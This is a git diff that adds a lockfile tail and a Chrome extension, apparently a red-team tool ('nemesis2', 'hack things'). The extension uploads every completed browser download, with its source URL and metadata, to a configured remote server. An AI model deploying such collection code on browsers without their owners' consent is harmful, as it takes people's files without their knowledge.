+ "validate-npm-package-license": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
+ "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+ "dev": true,
+ "requires": {
+ "spdx-correct": "^3.0.0",
+ "spdx-expression-parse": "^3.0.0"
+ }
+ },
+ "value-or-function": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz",
+ "integrity": "sha512-jdBB2FrWvQC/pnPtIqcLsMaQgjhdb6B7tk1MMyTKapox+tQZbdRP4uLxu/JY0t7fbfDCUMnuelzEYv5GsxHhdg==",
+ "dev": true
+ },
+ "vinyl": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/vinyl/-/vinyl-2.2.1.tgz",
+ "integrity": "sha512-LII3bXRFBZLlezoG5FfZVcXflZgWP/4dCwKtxd5ky9+LOtM4CS3bIRQsmR1KMnMW07jpE8fqR2lcxPZ+8sJIcw==",
+ "dev": true,
+ "requires": {
+ "clone": "^2.1.1",
+ "clone-buffer": "^1.0.0",
+ "clone-stats": "^1.0.0",
+ "cloneable-readable": "^1.0.0",
+ "remove-trailing-separator": "^1.0.1",
+ "replace-ext": "^1.0.0"
+ },
+ "dependencies": {
+ "replace-ext": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.1.tgz",
+ "integrity": "sha512-yD5BHCe7quCgBph4rMQ+0KkIRKwWCrHDOX1p1Gp6HwjPM5kVoCdKGNhN7ydqqsX6lJEnQDKZ/tFMiEdQ1dvPEw==",
+ "dev": true
+ }
+ }
+ },
+ "vinyl-fs": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/vinyl-fs/-/vinyl-fs-3.0.3.tgz",
+ "integrity": "sha512-vIu34EkyNyJxmP0jscNzWBSygh7VWhqun6RmqVfXePrOwi9lhvRs//dOaGOTRUQr4tx7/zd26Tk5WeSVZitgng==",
+ "dev": true,
+ "requires": {
+ "fs-mkdirp-stream": "^1.0.0",
+ "glob-stream": "^6.1.0",
+ "graceful-fs": "^4.0.0",
+ "is-valid-glob": "^1.0.0",
+ "lazystream": "^1.0.0",
+ "lead": "^1.0.0",
+ "object.assign": "^4.0.4",
+ "pumpify": "^1.3.5",
+ "readable-stream": "^2.3.3",
+ "remove-bom-buffer": "^3.0.0",
+ "remove-bom-stream": "^1.2.0",
+ "resolve-options": "^1.1.0",
+ "through2": "^2.0.0",
+ "to-through": "^2.0.0",
+ "value-or-function": "^3.0.0",
+ "vinyl": "^2.0.0",
+ "vinyl-sourcemap": "^1.1.0"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "vinyl-sourcemap": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/vinyl-sourcemap/-/vinyl-sourcemap-1.1.0.tgz",
+ "integrity": "sha512-NiibMgt6VJGJmyw7vtzhctDcfKch4e4n9TBeoWlirb7FMg9/1Ov9k+A5ZRAtywBpRPiyECvQRQllYM8dECegVA==",
+ "dev": true,
+ "requires": {
+ "append-buffer": "^1.0.2",
+ "convert-source-map": "^1.5.0",
+ "graceful-fs": "^4.1.6",
+ "normalize-path": "^2.1.1",
+ "now-and-later": "^2.0.0",
+ "remove-bom-buffer": "^3.0.0",
+ "vinyl": "^2.0.0"
+ },
+ "dependencies": {
+ "normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+ "dev": true,
+ "requires": {
+ "remove-trailing-separator": "^1.0.1"
+ }
+ }
+ }
+ },
+ "vinyl-sourcemaps-apply": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz",
+ "integrity": "sha512-+oDh3KYZBoZC8hfocrbrxbLUeaYtQK7J5WU5Br9VqWqmCll3tFJqKp97GC9GmMsVIL0qnx2DgEDVxdo5EZ5sSw==",
+ "dev": true,
+ "requires": {
+ "source-map": "^0.5.1"
+ },
+ "dependencies": {
+ "source-map": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+ "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
+ "dev": true
+ }
+ }
+ },
+ "w3c-hr-time": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
+ "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
+ "dev": true,
+ "requires": {
+ "browser-process-hrtime": "^1.0.0"
+ }
+ },
+ "w3c-xmlserializer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz",
+ "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==",
+ "dev": true,
+ "requires": {
+ "xml-name-validator": "^4.0.0"
+ }
+ },
+ "watchpack": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz",
+ "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "glob-to-regexp": "^0.4.1",
+ "graceful-fs": "^4.1.2"
+ }
+ },
+ "webidl-conversions": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
+ "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
+ "dev": true
+ },
+ "webpack": {
+ "version": "5.88.2",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz",
+ "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@types/eslint-scope": "^3.7.3",
+ "@types/estree": "^1.0.0",
+ "@webassemblyjs/ast": "^1.11.5",
+ "@webassemblyjs/wasm-edit": "^1.11.5",
+ "@webassemblyjs/wasm-parser": "^1.11.5",
+ "acorn": "^8.7.1",
+ "acorn-import-assertions": "^1.9.0",
+ "browserslist": "^4.14.5",
+ "chrome-trace-event": "^1.0.2",
+ "enhanced-resolve": "^5.15.0",
+ "es-module-lexer": "^1.2.1",
+ "eslint-scope": "5.1.1",
+ "events": "^3.2.0",
+ "glob-to-regexp": "^0.4.1",
+ "graceful-fs": "^4.2.9",
+ "json-parse-even-better-errors": "^2.3.1",
+ "loader-runner": "^4.2.0",
+ "mime-types": "^2.1.27",
+ "neo-async": "^2.6.2",
+ "schema-utils": "^3.2.0",
+ "tapable": "^2.1.1",
+ "terser-webpack-plugin": "^5.3.7",
+ "watchpack": "^2.4.0",
+ "webpack-sources": "^3.2.3"
+ },
+ "dependencies": {
+ "eslint-scope": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+ "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "esrecurse": "^4.3.0",
+ "estraverse": "^4.1.1"
+ }
+ },
+ "estraverse": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+ "dev": true,
+ "peer": true
+ }
+ }
+ },
+ "webpack-sources": {
+ "version": "3.2.3",
+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz",
+ "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==",
+ "dev": true,
+ "peer": true
+ },
+ "webpack-stream": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/webpack-stream/-/webpack-stream-7.0.0.tgz",
+ "integrity": "sha512-XoAQTHyCaYMo6TS7Atv1HYhtmBgKiVLONJbzLBl2V3eibXQ2IT/MCRM841RW/r3vToKD5ivrTJFWgd/ghoxoRg==",
+ "dev": true,
+ "requires": {
+ "fancy-log": "^1.3.3",
+ "lodash.clone": "^4.3.2",
+ "lodash.some": "^4.2.2",
+ "memory-fs": "^0.5.0",
+ "plugin-error": "^1.0.1",
+ "supports-color": "^8.1.1",
+ "through": "^2.3.8",
+ "vinyl": "^2.2.1"
+ },
+ "dependencies": {
+ "supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
+ }
+ },
+ "whatwg-encoding": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz",
+ "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==",
+ "dev": true,
+ "requires": {
+ "iconv-lite": "0.6.3"
+ }
+ },
+ "whatwg-mimetype": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz",
+ "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==",
+ "dev": true
+ },
+ "whatwg-url": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz",
+ "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==",
+ "dev": true,
+ "requires": {
+ "tr46": "^3.0.0",
+ "webidl-conversions": "^7.0.0"
+ }
+ },
+ "which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dev": true,
+ "requires": {
+ "isexe": "^2.0.0"
+ }
+ },
+ "which-module": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz",
+ "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==",
+ "dev": true
+ },
+ "workerpool": {
+ "version": "6.1.5",
+ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.5.tgz",
+ "integrity": "sha512-XdKkCK0Zqc6w3iTxLckiuJ81tiD/o5rBE/m+nXpRCB+/Sq4DqkfXZ/x0jW02DG1tGsfUGXbTJyZDP+eu67haSw==",
+ "dev": true
+ },
+ "wrap-ansi": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ }
+ },
+ "wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+ "dev": true
+ },
+ "write-file-atomic": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+ "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+ "dev": true,
+ "requires": {
+ "imurmurhash": "^0.1.4",
+ "is-typedarray": "^1.0.0",
+ "signal-exit": "^3.0.2",
+ "typedarray-to-buffer": "^3.1.5"
+ }
+ },
+ "ws": {
+ "version": "8.13.0",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz",
+ "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==",
+ "dev": true,
+ "requires": {}
+ },
+ "xml-name-validator": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz",
+ "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==",
+ "dev": true
+ },
+ "xmlchars": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+ "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+ "dev": true
+ },
+ "xmlcreate": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz",
+ "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==",
+ "dev": true
+ },
+ "xtend": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+ "dev": true
+ },
+ "y18n": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+ "dev": true
+ },
+ "yaml": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.1.tgz",
+ "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==",
+ "dev": true
+ },
+ "yargs": {
+ "version": "17.2.1",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz",
+ "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==",
+ "dev": true,
+ "requires": {
+ "cliui": "^7.0.2",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.0",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^20.2.2"
+ }
+ },
+ "yargs-parser": {
+ "version": "20.2.4",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz",
+ "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==",
+ "dev": true
+ },
+ "yargs-unparser": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz",
+ "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^6.0.0",
+ "decamelize": "^4.0.0",
+ "flat": "^5.0.2",
+ "is-plain-obj": "^2.1.0"
+ },
+ "dependencies": {
+ "camelcase": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+ "dev": true
+ },
+ "decamelize": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz",
+ "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==",
+ "dev": true
+ }
+ }
+ },
+ "yazl": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz",
+ "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==",
+ "dev": true,
+ "requires": {
+ "buffer-crc32": "~0.2.3"
+ }
+ },
+ "yocto-queue": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+ "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+ "dev": true
+ }
+ }
+}
diff --git a/cmd/chrome-extension/package.json b/cmd/chrome-extension/package.json
new file mode 100644
index 0000000..818f8a5
--- /dev/null
+++ b/cmd/chrome-extension/package.json
@@ -0,0 +1,63 @@
+{
+ "name": "nemesis2",
+ "description": "hack things",
+ "version": "0.0.1",
+ "homepage": "http://chrome.google.com/webstore",
+ "author": "ENTER YOUR NAME HERE",
+ "repository": {
+ "type": "git",
+ "url": "ENTER GIT REPO URL"
+ },
+ "scripts": {
+ "start": "xt-build -e dev -w",
+ "start:firefox": "xt-build -e dev -p firefox -w",
+ "build:css": "postcss styles.css -o dist/assets/css/styles.css",
+ "build": "xt-build -e prod && npm run build:css",
+ "build:firefox": "xt-build -e prod -p firefox",
+ "clean": "xt-clean",
+ "docs": "xt-docs",
+ "test": "xt-test",
+ "coverage": "nyc --reporter=lcov npm run test",
+ "sync": "xt-sync",
+ "lint": "eslint 'src/**/*.js'"
+ },
+ "babel": {
+ "presets": [
+ "@babel/preset-env"
+ ]
+ },
+ "eslintIgnore": [
+ "test/**/*"
+ ],
+ "dependencies": {
+ "ip-range-check": "^0.2.0",
+ "ipaddr.js": "^2.1.0"
+ },
+ "devDependencies": {
+ "autoprefixer": "^10.4.14",
+ "extension-cli": "latest",
+ "flowbite-typography": "^1.0.3",
+ "postcss-cli": "^10.1.0",
+ "tailwindcss": "^3.3.3"
+ },
+ "xtdocs": {
+ "source": {
+ "include": [
+ "README.md",
+ "src"
+ ]
+ }
+ },
+ "xtbuild": {
+ "js_bundles": [
+ {
+ "name": "background",
+ "src": "./src/index.js"
+ },
+ {
+ "name": "options",
+ "src": "./src/options.js"
+ }
+ ]
+ }
+}
diff --git a/cmd/chrome-extension/postcss.config.js b/cmd/chrome-extension/postcss.config.js
new file mode 100644
index 0000000..e0e62a9
--- /dev/null
+++ b/cmd/chrome-extension/postcss.config.js
@@ -0,0 +1,3 @@
+module.exports = {
+ plugins: [require('tailwindcss'), require('autoprefixer')],
+};
\ No newline at end of file
diff --git a/cmd/chrome-extension/src/index.js b/cmd/chrome-extension/src/index.js
new file mode 100644
index 0000000..f69b188
--- /dev/null
+++ b/cmd/chrome-extension/src/index.js
@@ -0,0 +1,172 @@
+import ipRangeCheck from 'ip-range-check';
+import ipaddr from 'ipaddr.js';
+
+import { getAll } from './storage';
+
+const AGENT_KEY = "agent_key";
+
+const CONFIGURE_PLUGIN_ID = "configure-plugin";
+
+// Helper functions
+
+function generateRandomString(length) {
+ let result = '';
+ const characters =
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+ const charactersLength = characters.length;
+ for (let i = 0; i < length; i++) {
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
+ }
+ return result;
+}
+
+async function fetchLocalFileEncode(path) {
+ const data = await fetch(`file://${path}`);
+ return await data.blob();
+}
+
+async function postFile(input, download_object) {
+ const { url, username, password, agent_key } = await getAll();
+
+ if (!url || url === "" || !username || username === "" || !password || password === "") {
+ chrome.runtime.openOptionsPage();
+ throw new Error("Chrome Plugin Not Configured");
+ }
+
+ const result = await fetch(`${url}/file`, {
+ method: "POST",
+ body: input,
+ headers: {
+ "Content-Type": "application/octet-stream",
+ },
+ });
+ if (!result.ok) {
+ throw new Error(
+ `Failed to upload (${result.status}): ${result.statusText}`
+ );
+ }
+
+ const r_json = await result.json();
+
+ const metadata = {
+ agent_id: agent_key,
+ agent_type: "chrome",
+ automated: true,
+ data_type: "file_data",
+ source: download_object.url,
+ project: "chrome",
+ timestamp: download_object.startTime,
+ };
+
+ const file_data = {
+ path: download_object.filename,
+ size: download_object.fileSize,
+ object_id: r_json.object_id
+ };
+
+ const post_data = { 'metadata': metadata, 'data': [file_data] };
+
+ const result2 = await fetch(`${url}/data`, {
+ body: JSON.stringify(post_data),
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ "Authorization": "Basic " + btoa(username + ":" + password),
+ },
+ });
+ if (!result2.ok) {
+ throw new Error(
+ `Failed to upload (${result2.status}): ${result2.statusText}`
+ );
+ }
+}
+
+
+// Chrome handlers
+
+chrome.runtime.onInstalled.addListener(async () => {
+ chrome.notifications.create(CONFIGURE_PLUGIN_ID, {
+ title: 'Nemesis Installed',
+ message: 'Please configure the plugin',
+ iconUrl: '/assets/img/icon128.png',
+ type: 'basic',
+ })
+
+ const agent_id = generateRandomString(16);
+ await chrome.storage.local.set({ [AGENT_KEY]: agent_id });
+
+ const { url, username, password } = await chrome.storage.local.get();
+
+ if (!url || url === "" || !username || username === "" || !password || password === "") {
+ chrome.runtime.openOptionsPage();
+ }
+});
+
+chrome.notifications.onClicked.addListener((notificationId) => {
+ if (notificationId === CONFIGURE_PLUGIN_ID) {
+ chrome.runtime.openOptionsPage();
+ }
+})
+
+async function sourceMatchesWhitelist(source_url) {
+ const { whitelist } = await getAll();
+ console.debug('[DEBUG] Allowlist:', whitelist)
+ if (whitelist) {
+ const source = new URL(source_url);
+ const ips = whitelist.filter(x => {
+ try {
+ ipaddr.parseCIDR(x);
+ return true;
+ } catch (e) { return false }
+ });
+ console.debug('[DEBUG] IPs:', ips);
+ const domains = whitelist.filter(x => !ipaddr.isValid(x));
+ console.debug('[DEBUG] Domains:', domains);
+ const matches_ip = ipRangeCheck(source.hostname, ips);
+ console.debug('[DEBUG] Matches IP:', matches_ip);
+ const matches_domain = domains.includes(source.hostname);
+ console.debug('[DEBUG] Matches domain:', matches_domain);
+ return matches_ip || matches_domain;
+ }
+ return true;
+}
+
+chrome.downloads.onChanged.addListener((delta) => {
+ if (delta.state && delta.state.current === "complete") {
+ chrome.downloads.search({ id: delta.id }, async (downloads) => {
+ console.debug("Downloaded file: " + downloads[0].filename);
+ const filename = downloads[0].filename;
+
+ const source = downloads[0].url;
+
+ if (!(await sourceMatchesWhitelist(source))) {
+ console.log('[DEBUG]: Source does not match allowlist');
+ return;
+ }
+ console.debug('[DEBUG]: Source matches allowlist');
+
+ const data = await fetchLocalFileEncode(filename);
+
+ console.debug('[DEBUG]: Uploading file');
+
+ try {
+ await postFile(data, downloads[0]);
+ chrome.notifications.create('', {
+ title: 'Nemesis',
+ message: 'File uploaded successfully',
+ iconUrl: '/assets/img/icon128.png',
+ type: 'basic',
+ });
+ } catch (e) {
+ console.error(e);
+ chrome.notifications.create('', {
+ title: 'Nemesis',
+ message: 'File upload failed',
+ iconUrl: '/assets/img/icon128.png',
+ type: 'basic',
+ });
+ throw e;
+ }
+ });
+ }
+});
\ No newline at end of file
diff --git a/cmd/chrome-extension/src/manifest.json b/cmd/chrome-extension/src/manifest.json
new file mode 100644
index 0000000..bd704d6
--- /dev/null
+++ b/cmd/chrome-extension/src/manifest.json
@@ -0,0 +1,32 @@
+{
+ "name": "__MSG_appName__",
+ "short_name": "__MSG_appShortName__",
+ "description": "__MSG_appDescription__",
+ "homepage_url": "http://chrome.google.com/webstore",
+ "version": "0.0.1",
+ "version_name": "0.0.1",
+ "manifest_version": 3,
+ "default_locale": "en",
+ "minimum_chrome_version": "88",
+ "permissions": [
+ "activeTab",
+ "scripting",
+ "downloads",
+ "storage",
+ "notifications"
+ ],
+ "host_permissions": [
+ ""
+ ],
+ "icons": {
+ "128": "assets/img/icon128.png"
+ },
+ "background": {
+ "service_worker": "background.js"
+ },
+ "options_page": "options.html",
+ "action": {
+ "default_icon": {},
+ "default_title": "__MSG_appName__"
+ }
+}
\ No newline at end of file
diff --git a/cmd/chrome-extension/src/options.html b/cmd/chrome-extension/src/options.html
new file mode 100644
index 0000000..bc353df
--- /dev/null
+++ b/cmd/chrome-extension/src/options.html
@@ -0,0 +1,85 @@
+
+
+
+
+ Nemesis Options
+
+
+
+
+
+
+
+
+
+
+ Nemesis Configuration
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/cmd/chrome-extension/src/options.js b/cmd/chrome-extension/src/options.js
new file mode 100644
index 0000000..ec9b52a
--- /dev/null
+++ b/cmd/chrome-extension/src/options.js
@@ -0,0 +1,76 @@
+import { set } from './storage.js'
+
+const URL_KEY = "url";
+const USERNAME_KEY = "username";
+const PASSWORD_KEY = "password";
+const AGENT_KEY = "agent_key";
+const WHITELIST_KEY = "whitelist";
+
+async function saveConfiguration() {
+ async function saveElement(key, id) {
+ var val = document.getElementById(id).value;
+ await set(key, val)
+ }
+ saveElement(URL_KEY, "url");
+ saveElement(USERNAME_KEY, "username");
+ saveElement(PASSWORD_KEY, "password");
+ saveElement(AGENT_KEY, "agent_key");
+
+ if (document.getElementById("whitelist-toggle").checked) {
+ const whitelist = document.getElementById('whitelist').value.split('\n');
+ await set(WHITELIST_KEY, whitelist);
+ } else {
+ await set(WHITELIST_KEY, null);
+ }
+
+ alert('Saved configuration')
+}
+
+document.getElementById("nemesis-form").addEventListener("submit", e => {
+ e.preventDefault();
+ console.debug('Form submitted');
+ const form_valid = document.getElementById("nemesis-form").reportValidity()
+ if (form_valid)
+ saveConfiguration();
+});
+
+document.getElementById("whitelist-toggle").addEventListener("click", async () => {
+ const whitelist_checked = document.getElementById("whitelist-toggle").checked;
+ if (whitelist_checked) {
+ document.getElementById("whitelist-div").classList.toggle("hidden");
+ } else {
+ document.getElementById("whitelist-div").classList.toggle("hidden");
+ await set(WHITELIST_KEY, null);
+ }
+});
+
+async function optionsGet(key) {
+ const val = await chrome.storage.local.get([key]);
+ if (Object.keys(val).length === 0) return null;
+ if (val && val[key])
+ return val[key];
+ return null;
+}
+
+document.addEventListener("DOMContentLoaded", async () => {
+ async function createSetter(key, id) {
